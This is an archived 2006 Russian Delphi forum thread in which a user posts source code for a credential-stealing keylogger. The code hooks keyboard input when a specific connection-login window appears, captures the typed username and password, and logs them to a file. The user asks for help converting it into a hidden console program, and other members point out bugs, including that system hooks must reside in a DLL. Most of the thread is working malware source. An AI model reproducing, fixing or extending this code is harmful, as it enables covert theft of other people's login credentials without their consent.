Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.05.07;
Скачать: CL | DM;

Вниз

Помогите уменьшить прогу   Найти похожие ветки 

 
ArcSin   (2006-04-17 20:25) [0]

У меня есть работающая прога но она с окном (оно не используется как таковое) хочу переделать в консольное приложение помогите пожалуйста
или укажите на ошибку

Клавиатурный шпион активизируется при появлении окна ввода пароля

Вот часть Юнита работающей проги
*************************************************************
const
Caption="Подключение к 191.168.0.2";
var
 Form1: TForm1;   h:hhook;  Wnd:Hwnd;  flag,bylo,stalo:boolean;    Nick,Password:string;  SysHook :HHook = 0;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] <> "" then
begin
if c = "Tab" then  flag:=true;
if c = "Space" then c:=" ";
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
stalo:=FindWindow(nil,"Подключение к 191.168.0.2") <> 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);
         end;
  bylo:=stalo;
end;

end.
********************************************************************
я попытался это сделать, но новая прога виснет (отмечено "(*)" )
********************************************************************
program nvcvs32;
uses Windows,  Messages,  SySUtils,  Registry;
 const
Caption="Подключение к 191.168.0.2";
 var
SysHook:HHook = 0;
H:HHook = 0;
Wnd:Hwnd;
Flag,bylo,stalo:boolean;
Nick,Password:string;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] <> "" then
begin
if c = "Tab" then  flag:=true;
if c = "Space" then c:=" ";
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

Procedure SaveToLog(Nick,Password:string);
var
f:TextFile;
FileDir:string;
begin
   if (Nick = "") and (Password = "") then exit;
   Filedir:="D:\scan.log";
   AssignFile(f, Filedir);
   if not FileExists(Filedir) then
    begin
     Rewrite(f);
     CloseFile(f);
    end;
   Append(f);
   Writeln(f, FormatDateTime("dd/mm/yyyy hh:nn:ss", Date+Time)+ "@:["+Nick+"]&{"+Password+"}");
   Flush(f);
   CloseFile(f);
end;

begin
while true do
begin
stalo:=FindWindow(nil,Caption) <> 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);         {!!(*)!)
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);

         end;
  bylo:=stalo;
  sleep(100);
  end;
end.  

*******************************************************************
напишите если увидели другие ошибки. Заранее благодарю.


 
Eraser ©   (2006-04-17 20:29) [1]


> ArcSin   (17.04.06 20:25)

неужели когда окно (форма) была этот шпийон корректно работал? :)


 
Rouse_ ©   (2006-04-17 22:52) [2]


> if bylo and (not stalo) then

Это пять :)


 
Сергей М. ©   (2006-04-18 10:58) [3]


> ArcSin   (17.04.06 20:25)


Справку к WH_JOURNALRECORD-хуку читал ?

Там написано

All system hook functions must be in libraries.

WH_JOURNALRECORD как раз и есть system-хук (в той же справке это написано).

Где у соблюдение этого условия ?



Страницы: 1 вся ветка

Текущий архив: 2006.05.07;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.039 c
2-1145262213
skysat
2006-04-17 12:23
2006.05.07
IdPOP3


11-1125985318
DmiSb
2005-09-06 09:41
2006.05.07
Применение KOLxBase ?


15-1144871790
Игорь Шевченко
2006-04-12 23:56
2006.05.07
Реклама - великая вещь.


15-1144934732
oldman
2006-04-13 17:25
2006.05.07
Забавно устроен интернет...


15-1144933131
oldman
2006-04-13 16:58
2006.05.07
бывает в жизни удача...